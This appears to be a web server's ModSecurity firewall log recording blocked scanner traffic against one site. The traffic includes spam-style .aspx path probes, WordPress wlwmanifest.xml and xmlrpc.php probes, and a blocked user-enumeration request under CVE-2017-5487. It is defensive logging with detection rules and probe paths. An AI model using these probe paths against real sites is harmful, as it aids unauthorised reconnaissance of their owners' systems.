[Sun Feb 01 16:08:44.707656 2026] [:error] [pid 10616:tid 10623] [client 217.182.194.3:50748] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aX8KDGd8pZdmVx6pUp64CgAAAMM"]
[Sun Feb 01 16:08:44.728773 2026] [:error] [pid 51610:tid 51614] [client 217.182.194.3:50736] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aX8KDN7GFdNFAqImMQDfnAAAAUA"]
[Sun Feb 01 16:08:57.138177 2026] [:error] [pid 10509:tid 10581] [client 217.182.194.3:50766] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aX8KGVMNpJBihOJgwVuybgAAAIo"]
[Sun Feb 01 16:08:57.823842 2026] [:error] [pid 2033:tid 2052] [client 217.182.194.3:50762] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aX8KGfF7B4oR5nK3T_PQ4QAAARE"]
[Sun Feb 01 16:09:00.245040 2026] [:error] [pid 10509:tid 10593] [client 217.182.194.3:57122] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aX8KHFMNpJBihOJgwVuycAAAAJY"]
[Sun Feb 01 16:09:00.312093 2026] [:error] [pid 10509:tid 10588] [client 217.182.194.3:57124] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aX8KHFMNpJBihOJgwVuycQAAAJE"]
[Sun Feb 01 16:09:03.222460 2026] [:error] [pid 10509:tid 10572] [client 217.182.194.3:57138] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aX8KH1MNpJBihOJgwVuygQAAAIE"]
[Sun Feb 01 16:09:03.224546 2026] [:error] [pid 10509:tid 10584] [client 217.182.194.3:57144] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aX8KH1MNpJBihOJgwVuyggAAAI0"]
[Sun Feb 01 16:09:05.823636 2026] [:error] [pid 10506:tid 10520] [client 217.182.194.3:57152] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aX8KIa32IC2Db4uwFyNSxwAAAAQ"]
[Sun Feb 01 16:09:06.037165 2026] [:error] [pid 10506:tid 10527] [client 217.182.194.3:57166] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aX8KIq32IC2Db4uwFyNSyQAAAAs"]
[Sun Feb 01 16:09:08.782556 2026] [:error] [pid 10508:tid 10557] [client 217.182.194.3:57168] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aX8KJAFwdoMQv5EWp9sT1AAAAE0"]
[Sun Feb 01 16:09:08.992272 2026] [:error] [pid 2033:tid 2051] [client 217.182.194.3:55992] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aX8KJPF7B4oR5nK3T_PQ6QAAARA"]
[Sun Feb 01 16:09:11.709670 2026] [:error] [pid 10508:tid 10558] [client 217.182.194.3:56000] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aX8KJwFwdoMQv5EWp9sT1gAAAE4"]
[Sun Feb 01 16:09:11.918107 2026] [:error] [pid 10508:tid 10549] [client 217.182.194.3:56006] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aX8KJwFwdoMQv5EWp9sT2AAAAEU"]
[Sun Feb 01 16:09:14.861579 2026] [:error] [pid 51610:tid 51633] [client 217.182.194.3:56016] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aX8KKt7GFdNFAqImMQDfwQAAAVM"]
[Sun Feb 01 16:09:17.531874 2026] [:error] [pid 2033:tid 2057] [client 217.182.194.3:56024] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aX8KLfF7B4oR5nK3T_PQ7gAAARQ"]
[Sun Feb 01 16:09:20.187197 2026] [:error] [pid 2033:tid 2064] [client 217.182.194.3:57992] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aX8KMPF7B4oR5nK3T_PQ-AAAARc"]
[Sun Feb 01 16:09:22.791868 2026] [:error] [pid 51610:tid 51615] [client 217.182.194.3:58006] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aX8KMt7GFdNFAqImMQDfzgAAAUE"]
[Sun Feb 01 16:09:25.301302 2026] [:error] [pid 10506:tid 10527] [client 217.182.194.3:58018] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aX8KNa32IC2Db4uwFyNS9QAAAAs"]
[Sun Feb 01 16:09:27.956199 2026] [:error] [pid 2033:tid 2041] [client 217.182.194.3:58026] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aX8KN_F7B4oR5nK3T_PQ_AAAAQY"]
[Sun Feb 01 16:09:30.520031 2026] [:error] [pid 10616:tid 10644] [client 217.182.194.3:37112] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aX8KOmd8pZdmVx6pUp64KAAAANg"]
[Sun Feb 01 16:09:33.218707 2026] [:error] [pid 10509:tid 10587] [client 217.182.194.3:37118] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aX8KPVMNpJBihOJgwVuyrwAAAJA"]
[Sun Feb 01 16:09:36.087619 2026] [:error] [pid 2033:tid 2069] [client 217.182.194.3:37128] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aX8KQPF7B4oR5nK3T_PRCgAAARg"]
[Sun Feb 01 16:09:38.700875 2026] [:error] [pid 10508:tid 10551] [client 217.182.194.3:37134] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aX8KQgFwdoMQv5EWp9sT-wAAAEc"]
[Sun Feb 01 16:09:41.326900 2026] [:error] [pid 51610:tid 51626] [client 217.182.194.3:39642] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aX8KRd7GFdNFAqImMQDf4gAAAUw"]
[Sun Feb 01 16:09:44.036712 2026] [:error] [pid 2033:tid 2040] [client 217.182.194.3:39658] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aX8KSPF7B4oR5nK3T_PRFAAAAQU"]
[Sun Feb 01 16:09:46.701501 2026] [:error] [pid 2033:tid 2041] [client 217.182.194.3:39664] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aX8KSvF7B4oR5nK3T_PRHgAAAQY"]
[Sun Feb 01 16:09:49.243161 2026] [:error] [pid 10508:tid 10547] [client 217.182.194.3:40022] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aX8KTQFwdoMQv5EWp9sUCAAAAEM"]
[Sun Feb 01 16:09:51.811102 2026] [:error] [pid 10508:tid 10552] [client 217.182.194.3:40026] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aX8KTwFwdoMQv5EWp9sUDwAAAEg"]
[Sun Feb 01 16:09:54.539377 2026] [:error] [pid 51610:tid 51635] [client 217.182.194.3:40042] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aX8KUt7GFdNFAqImMQDf_wAAAVU"]
[Sun Feb 01 16:10:19.367737 2026] [:error] [pid 10616:tid 10627] [client 217.182.194.3:40046] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aX8Ka2d8pZdmVx6pUp64dgAAAMc"]
[Sun Feb 01 16:10:22.034979 2026] [:error] [pid 10506:tid 10529] [client 217.182.194.3:38784] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aX8Kbq32IC2Db4uwFyNTYwAAAA0"]
[Sun Feb 01 16:10:25.123692 2026] [:error] [pid 2033:tid 2036] [client 217.182.194.3:38796] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aX8KcfF7B4oR5nK3T_PRkAAAAQE"]
[Sun Feb 01 16:10:53.324135 2026] [:error] [pid 10616:tid 10634] [client 217.182.194.3:48738] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aX8KjWd8pZdmVx6pUp643gAAAM4"]
[Sun Feb 01 16:10:57.248016 2026] [:error] [pid 10616:tid 10620] [client 217.182.194.3:48752] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aX8KkWd8pZdmVx6pUp645AAAAMA"]
[Sun Feb 01 17:48:33.917834 2026] [:error] [pid 29578:tid 29594] [client 37.139.53.245:50154] [client 37.139.53.245] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "measureyourbrand.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aX8hcUwa4IUBrS8Q04F3zgAAAYw"]
[Sun Feb 01 18:10:07.727725 2026] [:error] [pid 2033:tid 2053] [client 43.153.79.218:59098] [client 43.153.79.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aX8mf_F7B4oR5nK3T_PwJwAAARI"]
[Sun Feb 01 18:45:50.744185 2026] [:error] [pid 29578:tid 29600] [client 35.229.75.96:65436] [client 35.229.75.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.229.75.96, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aX8u3kwa4IUBrS8Q04GNzAAAAZI"]
[Sun Feb 01 18:45:52.204442 2026] [:error] [pid 29578:tid 29603] [client 35.229.75.96:65436] [client 35.229.75.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aX8u4Ewa4IUBrS8Q04GN1QAAAZU"]
[Sun Feb 01 18:45:53.222120 2026] [:error] [pid 10506:tid 10524] [client 35.229.75.96:59960] [client 35.229.75.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aX8u4a32IC2Db4uwFyN_MAAAAAg"]
[Sun Feb 01 18:45:54.203081 2026] [:error] [pid 29578:tid 29599] [client 35.229.75.96:59462] [client 35.229.75.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aX8u4kwa4IUBrS8Q04GN3QAAAZE"]
[Sun Feb 01 18:45:55.187670 2026] [:error] [pid 2033:tid 2038] [client 35.229.75.96:54272] [client 35.229.75.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aX8u4_F7B4oR5nK3T_P3bQAAAQM"]
[Sun Feb 01 18:45:56.135367 2026] [:error] [pid 10508:tid 10549] [client 35.229.75.96:57779] [client 35.229.75.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aX8u5AFwdoMQv5EWp9tDUgAAAEU"]
[Sun Feb 01 18:45:57.103876 2026] [:error] [pid 10616:tid 10638] [client 35.229.75.96:64551] [client 35.229.75.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aX8u5Wd8pZdmVx6pUp7dZgAAANI"]
[Sun Feb 01 18:45:58.065934 2026] [:error] [pid 29578:tid 29594] [client 35.229.75.96:63756] [client 35.229.75.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aX8u5kwa4IUBrS8Q04GN6AAAAYw"]
[Sun Feb 01 18:45:59.014197 2026] [:error] [pid 10506:tid 10537] [client 35.229.75.96:56302] [client 35.229.75.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aX8u5632IC2Db4uwFyN_OQAAABU"]
[Sun Feb 01 18:46:00.037105 2026] [:error] [pid 10506:tid 10533] [client 35.229.75.96:53146] [client 35.229.75.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aX8u6K32IC2Db4uwFyN_PQAAABE"]
[Sun Feb 01 18:46:00.992674 2026] [:error] [pid 10508:tid 10567] [client 35.229.75.96:57818] [client 35.229.75.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aX8u6AFwdoMQv5EWp9tDWgAAAFc"]
[Sun Feb 01 18:46:02.001787 2026] [:error] [pid 10506:tid 10529] [client 35.229.75.96:49698] [client 35.229.75.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aX8u6q32IC2Db4uwFyN_QwAAAA0"]
[Sun Feb 01 18:46:02.998114 2026] [:error] [pid 2033:tid 2050] [client 35.229.75.96:63071] [client 35.229.75.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aX8u6vF7B4oR5nK3T_P3ewAAAQ8"]
[Sun Feb 01 20:07:28.117917 2026] [:error] [pid 29578:tid 29604] [client 51.77.218.189:42562] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aX9CAEwa4IUBrS8Q04Gl_QAAAZY"]
[Sun Feb 01 20:07:30.620077 2026] [:error] [pid 2033:tid 2049] [client 51.77.218.189:42564] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aX9CAvF7B4oR5nK3T_MKzwAAAQ4"]
[Sun Feb 01 20:07:33.210470 2026] [:error] [pid 51610:tid 51616] [client 51.77.218.189:42566] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aX9CBd7GFdNFAqImMQAYsAAAAUI"]
